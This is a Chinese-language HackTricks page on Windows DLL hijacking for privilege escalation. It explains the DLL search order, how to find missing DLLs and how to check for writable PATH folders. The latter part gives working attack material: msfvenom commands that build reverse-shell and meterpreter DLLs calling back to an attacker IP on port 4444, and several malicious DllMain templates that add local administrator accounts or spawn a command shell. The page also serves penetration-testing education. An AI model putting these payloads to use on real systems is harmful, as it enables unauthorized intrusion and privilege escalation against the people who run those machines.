16 KiB
Dll 劫持
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想要访问PEASS的最新版本或下载HackTricks的PDF?查看订阅计划!
- 发现PEASS家族,我们独家的NFTs系列
- 获取官方PEASS & HackTricks周边产品
- 加入 💬 Discord群组 或 telegram群组 或在推特上关注我 🐦@carlospolopm。
- 通过向 hacktricks仓库 提交PR来分享你的黑客技巧 和 hacktricks-cloud仓库。
如果你对黑客职业感兴趣并且想要黑掉不可黑的 - 我们正在招聘! (需要流利的波兰语书写和口语).
{% embed url="https://www.stmcyber.com/careers" %}
定义
首先,让我们先弄清楚定义。从广义上讲,DLL劫持是欺骗合法/受信任的应用程序加载任意DLL。术语如_DLL搜索顺序劫持_、DLL加载顺序劫持、DLL欺骗、DLL注入 和 DLL侧加载 经常被错误地用来表示相同的意思。
DLL劫持可以用来执行代码、获得持久性和提升权限。在这三个中,最不可能找到的是提升权限。然而,由于这是权限提升部分的一部分,我将专注于这个选项。另外,请注意,无论目标是什么,DLL劫持的执行方式都是相同的。
类型
有多种方法可以选择,成功与否取决于应用程序配置加载其所需DLL的方式。可能的方法包括:
- DLL替换:用恶意DLL替换合法DLL。这可以与_DLL代理_结合使用,确保原始DLL的所有功能保持完整。
- DLL搜索顺序劫持:应用程序未指定路径的DLL将按特定顺序在固定位置搜索。通过将恶意DLL放在实际DLL之前搜索的位置来劫持搜索顺序。这有时包括目标应用程序的工作目录。
- 幽灵DLL劫持:在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL。
- DLL重定向:更改搜索DLL的位置,例如通过编辑
%PATH%
环境变量,或.exe.manifest
/.exe.local
文件包含包含恶意DLL的文件夹。 - WinSxS DLL替换:在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常被称为DLL侧加载。
- 相对路径DLL劫持:将合法应用程序复制(并可选重命名)到用户可写文件夹,与恶意DLL一起。这种使用方式与(签名的)二进制代理执行有相似之处。这种变体有时被(有些矛盾地)称为‘带上你自己的LOLbin’,其中合法应用程序与恶意DLL一起带来(而不是从受害者机器上的合法位置复制)。
查找缺失的Dlls
在系统内查找缺失Dlls的最常见方法是运行来自sysinternals的[procmon],设置以下两个过滤器:
并只显示文件系统活动:
如果你在寻找一般缺失的dlls,你可以让它运行几秒钟。
如果你在寻找特定可执行文件内的缺失dll,你应该设置另一个过滤器如"进程名称" "包含" "<exec name>",执行它,并停止捕获事件。
利用缺失的Dlls
为了提升权限,我们最好的机会是能够写一个dll,一个特权进程将尝试加载,在某个将要被搜索的地方。因此,我们将能够写一个dll在一个文件夹里,这个文件夹里的dll在原始dll所在的文件夹之前被搜索(奇怪的情况),或者我们将能够写在某个文件夹里,dll将被搜索,而原始的dll不存在于任何文件夹。
Dll搜索顺序
在 Microsoft文档 中你可以找到Dlls的具体加载方式。
通常,Windows应用程序会使用预定义的搜索路径来查找DLL,并且会按特定顺序检查这些路径。DLL劫持通常通过将恶意DLL放置在这些文件夹中的一个,同时确保DLL在合法DLL之前被找到。通过让应用程序指定它需要的DLL的绝对路径可以缓解这个问题。
你可以在下面看到32位系统上的DLL搜索顺序:
- 应用程序加载的目录。
- 系统目录。使用GetSystemDirectory函数获取此目录的路径。(C:\Windows\System32)
- 16位系统目录。没有函数可以获取此目录的路径,但它会被搜索。(C:\Windows\System)
- Windows目录。使用GetWindowsDirectory函数获取此目录的路径。
- (C:\Windows)
- 当前目录。
- 列在PATH环境变量中的目录。注意,这不包括由App Paths注册表键指定的每个应用程序路径。计算DLL搜索路径时不使用App Paths键。
这是启用SafeDllSearchMode时的默认搜索顺序。当它被禁用时,当前目录升级到第二位。要禁用此功能,请创建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode注册表值并将其设置为0(默认为启用)。
如果调用LoadLibraryEx函数并带有LOAD_WITH_ALTERED_SEARCH_PATH,则搜索从LoadLibraryEx正在加载的可执行模块的目录开始。
最后,请注意,可以通过指定绝对路径而不仅仅是名称来加载dll。在这种情况下,dll只会在那个路径中被搜索(如果dll有任何依赖,它们将被视为仅通过名称加载)。
还有其他方法可以改变搜索顺序,但我不会在这里解释它们。
Windows文档中dll搜索顺序的例外
- 如果内存中已经加载了具有相同模块名称的DLL,系统只检查重定向和清单,然后解析到已加载的DLL,无论它在哪个目录中。系统不会搜索DLL。
- 如果DLL在应用程序运行的Windows版本的已知DLL列表上,系统使用其已知DLL的副本(以及任何依赖的已知DLL)而不是搜索DLL。要查看当前系统上已知DLL的列表,请参阅以下注册表键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs。
- 如果DLL有依赖项,系统搜索依赖DLL,就好像它们是仅用其模块名称加载的。即使第一个DLL是通过指定完整路径加载的,这也是真的。
提升权限
要求:
- 找到一个进程,它运行/将以其他权限运行(水平/横向移动),它缺少一个dll。
- 在任何文件夹中拥有写权限,dll将在那里被搜索(可能是可执行目录或系统路径内的某个文件夹)。
是的,要求很难找到,因为默认情况下,找到一个缺少dll的特权可执行文件是有点奇怪的,在系统路径文件夹中拥有写权限更是更奇怪(默认情况下你不能)。但是,在配置不当的环境中,这是可能的。
如果你幸运地发现自己满足要求,你可以查看UACME项目。即使该项目的主要目标是绕过UAC,你也可能会在那里找到一个PoC,用于你可以使用的Windows版本(可能只是更改你有写权限的文件夹路径)。
请注意,你可以通过执行以下操作来检查你在文件夹中的权限:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
检查 PATH 中所有文件夹的权限:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
你也可以使用以下方法来检查一个可执行文件的导入和一个dll的导出:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
为了全面指导如何滥用Dll劫持来提升权限,具有在系统路径文件夹中写入权限的检查:
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}
自动化工具
Winpeas会检查你是否拥有系统PATH内任一文件夹的写入权限。
其他发现此漏洞的有趣自动化工具包括PowerSploit函数:Find-ProcessDLLHijack、Find-PathDLLHijack 和 Write-HijackDll。
示例
如果你发现了一个可利用的场景,成功利用它最重要的事情之一将是创建一个至少导出可执行文件将从中导入的所有函数的dll。无论如何,请注意Dll劫持在从中等完整性级别提升到高级别 (绕过UAC)或从高完整性提升到SYSTEM时非常方便。 你可以在这个专注于执行的dll劫持研究中找到一个如何创建有效dll的示例:https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows。
此外,在下一节中,你可以找到一些基本的dll代码,这些代码可能作为模板或创建导出非必需函数的dll时很有用。
创建和编译Dlls
Dll代理
基本上,Dll代理是一种能够在加载时执行恶意代码,同时通过转发所有调用到真实库,来暴露并按预期工作的Dll。
使用工具**** DLLirant **** 或 **** Spartacus ****,你实际上可以指定一个可执行文件并选择你想要代理的库,并生成一个代理dll,或者指定Dll并生成一个代理dll。
Meterpreter
获取反向shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
获取 meterpreter (x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
创建用户(x86 我没有看到 x64 版本):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
你自己的
请注意,在多数情况下,你编译的Dll必须导出多个函数,这些函数将被受害进程加载,如果这些函数不存在,二进制文件将无法加载它们,漏洞利用将失败。
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
如果您对黑客职业感兴趣,并且想要黑进那些不可黑的系统 - 我们正在招聘!(需要流利的波兰语书写和口语)。
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想要获得PEASS最新版本或以PDF格式下载HackTricks吗?查看订阅计划!
- 发现PEASS家族,我们独家的NFTs收藏
- 获取官方PEASS & HackTricks周边商品
- 加入 💬 Discord群组 或 telegram群组 或在Twitter上关注我 🐦@carlospolopm。
- 通过向 hacktricks仓库 和 hacktricks-cloud仓库 提交PR来分享您的黑客技巧。